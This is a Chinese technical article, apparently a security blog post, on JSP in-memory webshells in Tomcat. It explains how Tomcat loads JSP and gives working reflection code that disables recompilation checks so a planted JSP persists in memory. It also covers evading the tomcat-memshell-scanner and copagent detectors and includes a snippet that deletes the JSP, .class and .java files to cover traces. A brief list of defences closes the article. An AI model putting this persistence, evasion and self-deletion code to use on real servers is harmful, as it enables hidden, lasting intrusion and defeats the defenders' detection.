JSP内存马研究
字数 1441 2025-08-03 16:45:21
JSP内存马研究与实现技术文档
1. 前言
JSP内存马是一种高级Webshell技术,通过驻留内存的方式实现持久化访问,相比传统的Filter或Servlet类型内存马更难被检测。本文详细分析JSP在Tomcat中的加载流程,探讨内存驻留机制,并提供两种实现方法及对抗检测的技术。
2. JSP加载流程分析
2.1 JSP处理核心组件
Tomcat中JSP处理的核心是JspServlet,配置如下:
<servlet>
<servlet-name>jsp</servlet-name>
<servlet-class>org.apache.jasper.servlet.JspServlet</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>jsp</servlet-name>
<url-pattern>*.jsp</url-pattern>
<url-pattern>*.jspx</url-pattern>
</servlet-mapping>
2.2 JSP处理关键流程
- service方法:接收请求URL,判断是否预编译,核心方法是
serviceJspFile - 预编译检查:仅当请求参数以
jsp_precompile开头才会预编译 - JSP文件检查:首次请求时检查JSP文件是否存在
- Wrapper创建:为每个JSP创建
JspServletWrapper并存入JspRuntimeContext - 编译处理:通过
JspServletWrapper.service生成Java文件并编译为class - Servlet注册:将class文件注册为Servlet并调用其service方法
3. 内存驻留机制
3.1 关键驻留点
- JspServletWrapper缓存:所有JSP Servlet包装器保存在
JspRuntimeContext的jsps字段中 - Servlet实例缓存:
theServlet属性保存已编译的Servlet实例(volatile修饰) - 开发模式检查:默认开发模式下会检查JSP文件时间戳决定是否重新编译
3.2 实现方法一:修改开发模式
通过反射修改development属性为false,避免重新编译检查:
<%
Field requestF = request.getClass().getDeclaredField("request");
requestF.setAccessible(true);
Request req = (Request) requestF.get(request);
MappingData mappingData = req.getMappingData();
Field wrapperF = mappingData.getClass().getDeclaredField("wrapper");
wrapperF.setAccessible(true);
Wrapper wrapper = (Wrapper) wrapperF.get(mappingData);
Field instanceF = wrapper.getClass().getDeclaredField("instance");
instanceF.setAccessible(true);
Servlet jspServlet = (Servlet) instanceF.get(wrapper);
Field Option = jspServlet.getClass().getDeclaredField("options");
Option.setAccessible(true);
EmbeddedServletOptions op = (EmbeddedServletOptions) Option.get(jspServlet);
Field Developent = op.getClass().getDeclaredField("development");
Developent.setAccessible(true);
Developent.set(op,false);
%>
3.3 实现方法二:修改检查间隔
修改modificationTestInterval为一个极大值,绕过文件检查:
<%
// 获取options对象同上
Field modInterval = op.getClass().getDeclaredField("modificationTestInterval");
modInterval.setAccessible(true);
modInterval.set(op, Integer.MAX_VALUE);
%>
4. 对抗检测技术
4.1 对抗tomcat-memshell-scanner
- 优势:该工具只检查
servletMappings中的Servlet,而JSP Servlet保存在JspRuntimeContext#jsps中 - 结论:不会被此工具检测到
4.2 对抗copagent
-
检测逻辑:
- 检查所有已加载类
- 查找继承
HttpServlet或实现Servlet/Filter接口的类 - 检查类内容中的危险关键词(如加密相关)
-
对抗方法:
- 避免使用常见加密类(如
javax.crypto) - 使用自定义加密算法
- 避免类名/包名包含常见恶意特征
- 避免使用常见加密类(如
5. 自删除技术
实现JSP文件及其生成文件的自动删除:
<%
// 获取JspCompilationContext
Field requestF = request.getClass().getDeclaredField("request");
requestF.setAccessible(true);
Request req = (Request) requestF.get(request);
MappingData mappingData = req.getMappingData();
Field wrapperF = mappingData.getClass().getDeclaredField("wrapper");
wrapperF.setAccessible(true);
Wrapper wrapper = (Wrapper) wrapperF.get(mappingData);
Field instanceF = wrapper.getClass().getDeclaredField("instance");
instanceF.setAccessible(true);
Servlet jspServlet = (Servlet) instanceF.get(wrapper);
Field rctxt = jspServlet.getClass().getDeclaredField("rctxt");
rctxt.setAccessible(true);
JspRuntimeContext jspRuntimeContext = (JspRuntimeContext) rctxt.get(jspServlet);
Field jspsF = jspRuntimeContext.getClass().getDeclaredField("jsps");
jspsF.setAccessible(true);
ConcurrentHashMap jsps = (ConcurrentHashMap) jspsF.get(jspRuntimeContext);
JspServletWrapper jsw = (JspServletWrapper)jsps.get(request.getServletPath());
Field ctxt = jsw.getClass().getDeclaredField("ctxt");
ctxt.setAccessible(true);
JspCompilationContext jspCompContext = (JspCompilationContext) ctxt.get(jsw);
// 删除生成文件
File targetFile;
targetFile = new File(jspCompContext.getClassFileName()); // 删除.class
targetFile.delete();
targetFile = new File(jspCompContext.getServletJavaFileName()); // 删除.java
targetFile.delete();
// 删除JSP文件
String __jspName = this.getClass().getSimpleName().replaceAll("_", ".");
String path=application.getRealPath(__jspName);
File file = new File(path);
file.delete();
%>
6. 兼容性注意事项
Tomcat版本差异:
- Tomcat 7:
org.apache.tomcat.util.http.mapper.MappingData - Tomcat 8/9:
org.apache.catalina.mapper.MappingData
7. 总结
JSP内存马技术通过深入理解Tomcat的JSP处理机制,利用反射修改关键属性实现内存驻留。相比传统内存马具有以下优势:
- 不依赖Servlet/Filter注册机制
- 更难被常规检测工具发现
- 可实现自删除增强隐蔽性
防御建议:
- 监控
JspRuntimeContext中的异常JSP - 检查
development和modificationTestInterval属性异常修改 - 对JSP编译生成的类进行行为分析